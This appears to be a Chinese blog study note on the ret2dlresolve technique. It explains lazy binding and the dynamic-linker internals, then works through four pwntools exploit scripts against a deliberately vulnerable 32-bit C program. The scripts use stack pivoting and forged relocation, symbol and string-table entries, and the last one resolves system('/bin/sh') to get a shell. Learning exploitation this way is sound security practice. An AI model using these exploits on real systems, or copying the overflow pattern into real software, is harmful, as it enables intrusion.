本文最后编辑于 前,其中的内容可能需要更新。
写在前面 本篇文章只是一些学习记录、打卡,很大部分是摘自其他大佬博客,还有一些自己的东西,文末会贴上链接,练习建议自己独立完成。
前置知识 在Linux中,程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。
延迟绑定 需要了解3个结构以及他们之间的关系
程序在执行前,如果对整个动态链接库函数进行符号解析的话,是非常浪费资源的,因为一个程序不可能调用动态链接库中所有的函数。我们最好能做到只对用到的函数进行函数解析,这样可以大大提高文件链接的效率,加快程序的启动速度。
这时候,就出现了延迟绑定技术,我们通过plt表(过程链接表),在第一次调用函数的时候,来确定函数的地址,把函数的实际地址存储在got表相对的偏移处。
试想一下,在这个过程中,当我们第一次调用函数,要向got表写入函数真实地址的时候,我们是不是需要一个管理的工具?这个管理的工具就是_dl_runtime_resolve()函数。函数需要两个参数,一个是要被绑定的函数所在的模块,一个是要被绑定函数的符号名。
函数原型:_dl_runtime_resolve(link_map,reloc_arg)
注:got表实际上是分为.got表和got.plt表,got.plt表(全局函数偏移表)中存放的是动态链接库函数,.got表(全局变量偏移表)里面的偏移主要是全局变量。我们在这里讨论的是got.plt表。
.got.plt表的前三项的含义分别如下:
1.got[0],第一项保存的是”.dynamic”段的地址,这个段描述了本模块动态链接相关的信息;
2.got[1],第二项保存的是本模块的ID;
3.got[2],第三项保存的是_dl_runtime_resolve()函数的地址。
且我们需要知道.got.plt
前三项的特殊用途
address of .dynamic
link_map
dl_runtime_resolve
_dll_runtime_resolve函数的2个参数
_dll_runtime_resolve函数的运行过程
练习 小练习1 参考博客:
ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客
先编译以下代码,逐步利用_dl_fixup函数最后get shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void vuln() { char buf[100 ]; setbuf(stdin, buf); read(0 , buf, 256 ); } int main(){ char buf[100 ] = "Welcome to XDCTF2015~!\n" ; setbuf(stdout, buf); write(1 , buf, strlen(buf)); vuln(); return 0 ; }//gcc fun.c -fno-stack-protector -no-pie -m32 -o fun
首先是先栈迁移到bss段,再手动调用plt[0],解析write函数,把命令打印出来,我们只需提前push reloc_arg(push 20h)即可完成利用
对应的是这一句
has 1 _dl_fixup(struct link_map *1 ,ElfW(Word) reloc_arg)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.log_level = 'debug' context.arch='i386' binary = './fun' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) ppp_ret = 0x080492d9 pop_ebp_ret = 0x080492db leave_ret = 0x08049105 io.recv() plt_0 = 0x08049020 fuke_stack = elf.bss() + 0x800 pay = b'a' *0x70 + p32(elf.sym['read' ]) + p32(ppp_ret) + p32(0 ) + p32(fuke_stack) + p32(0x100 ) + p32(pop_ebp_ret) + p32(fuke_stack) + p32(leave_ret) io.sendline(pay) massage = b'you_pwn_it\0' pay = b'a' *4 + p32(plt_0) + p32(0x20 ) + p32(0 ) + p32(1 ) + p32(fuke_stack+0x60 ) + p32(len (massage)) pay = pay.ljust(0x60 ,b'a' ) + massage io.sendline(pay) io.interactive()
成功打印字符串
小练习2 这一步我们控制好reloc_arg 的大小,使reloc 的位置落在可控地址(bss段)内,在bss段手动伪造出reloc,即伪造.rel.plt中关于write的内容,从而可以控制它的r_info
对应这一句
1 2 // 通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
.rel.plt 节是用于函数重定位,**.rel.dyn**是用于变量重定位
下面是rel的结构体定义
1 2 3 4 typedef struct{ Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址 Elf32_Word r_info; // 符号表索引 }Elf32_Rel;
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context.log_level = 'debug' context.arch='i386' binary = './fun' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) ppp_ret = 0x080492d9 pop_ebp_ret = 0x080492db leave_ret = 0x08049105 io.recv() plt_0 = 0x08049020 relplt_table = 0x08048364 fuke_stack = elf.bss() + 0x800 fuke_offset = fuke_stack + 0x30 - relplt_table pay = b'a' *0x70 + p32(elf.sym['read' ]) + p32(ppp_ret) + p32(0 ) + p32(fuke_stack) + p32(0x100 ) + p32(pop_ebp_ret) + p32(fuke_stack) + p32(leave_ret) io.sendline(pay) massage = b'you_pwn_it\0' pay = b'a' *4 + p32(plt_0) + p32(fuke_offset) + p32(0 ) + p32(1 ) + p32(fuke_stack+0x60 ) + p32(len (massage)) pay = pay.ljust(0x30 ,b'a' ) + p32(elf.bss()) + p32(0x607 ) pay = pay.ljust(0x60 ,b'a' ) + massage io.sendline(pay) io.interactive()
小练习3 这一步我们控制好reloc中的r_info,使sym落在可控地址内,从而伪造sym,从而可以控制它的st_name (偏移)
对应这两句
1 2 3 4 // 然后通过reloc->r_info找到.dynsym中对应的条目 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7 assert (ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
.dynsym 节包含了动态链接符号表。ELF32_Sym[num]中的num对应着**ELF_R_SYM(Elf32_Rel->r_info)**。根据定义,
1 ELF_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel-> r_info) >> 8
ym的结构体如下(大小为0x10)
has 1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym;
注意16字节对齐
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context.log_level = 'debug' context.arch='i386' binary = './fun' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) ppp_ret = 0x080492d9 pop_ebp_ret = 0x080492db leave_ret = 0x08049105 io.recv() plt_0 = 0x08049020 relplt_table = 0x08048364 sym_table = 0x0804820C fuke_stack = elf.bss() + 0x800 fuke_offset = fuke_stack + 0x30 - relplt_table align = 0x10 - (fuke_stack + 0x40 - sym_table)%16 fuke_rel_offset = (((fuke_stack + 0x40 + align - sym_table)//16 )<<8 )|0x7 pay = b'a' *0x70 + p32(elf.sym['read' ]) + p32(ppp_ret) + p32(0 ) + p32(fuke_stack) + p32(0x100 ) + p32(pop_ebp_ret) + p32(fuke_stack) + p32(leave_ret) io.sendline(pay) massage = b'you_pwn_it\0' pay = b'a' *4 + p32(plt_0) + p32(fuke_offset) + p32(0 ) + p32(1 ) + p32(fuke_stack+0x60 ) + p32(len (massage)) pay = pay.ljust(0x30 ,b'a' ) + p32(elf.bss()) + p32(fuke_rel_offset) pay = pay.ljust(0x40 +align,b'a' ) + p32(0x80482EE -0x80482AC ) + p32(0 )*2 + p32(0x12 ) pay = pay.ljust(0x60 ,b'a' ) + massage io.sendline(pay) io.interactive()
小练习4 相信到了这一步,对于接下来要做什么已经很清楚了,既然在上一步我们能控制st_name,那接下来自然是伪造st_name,从而可以控制字符串表
对应这一句
1 2 // 接着通过strtab+(sym->st_name)找到符号表字符串,result为libc基地址 result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
1 2 3 4 原本: st_name = write_strtab - strtab 伪造后: fake_name = fake_write_str_addr - strtab
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context.log_level = 'debug' context.arch='i386' binary = './fun' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) ppp_ret = 0x080492d9 pop_ebp_ret = 0x080492db leave_ret = 0x08049105 io.recv() plt_0 = 0x08049020 relplt_table = 0x08048364 sym_table = 0x0804820C fuke_stack = elf.bss() + 0x800 fuke_offset = fuke_stack + 0x30 - relplt_table align = 0x10 - (fuke_stack + 0x40 - sym_table)%16 fuke_rel_offset = (((fuke_stack + 0x40 + align - sym_table)//16 )<<8 )|0x7 pay = b'a' *0x70 + p32(elf.sym['read' ]) + p32(ppp_ret) + p32(0 ) + p32(fuke_stack) + p32(0x100 ) + p32(pop_ebp_ret) + p32(fuke_stack) + p32(leave_ret) io.sendline(pay) massage = b'/bin/sh\0' pay = b'a' *4 + p32(plt_0) + p32(fuke_offset) + p32(0 ) + p32(fuke_stack+0x60 ) pay = pay.ljust(0x30 ,b'a' ) + p32(elf.bss()) + p32(fuke_rel_offset) pay = pay.ljust(0x40 +align,b'a' ) + p32(fuke_stack + 0x70 -0x80482AC ) + p32(0 )*2 + p32(0x12 ) pay = pay.ljust(0x60 ,b'a' ) + massage pay = pay.ljust(0x70 ,b'a' ) + b'system\0' io.sendline(pay) io.interactive()
大佬博客 ret2dlresolve利用方法_九层台-CSDN博客
栈溢出之ret2dlresolve学习 - FreeBuf网络安全行业门户
ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客
[新手向]ret2dl-resolve详解
PWN——ret2dl_resolve - Riv4ille - 博客园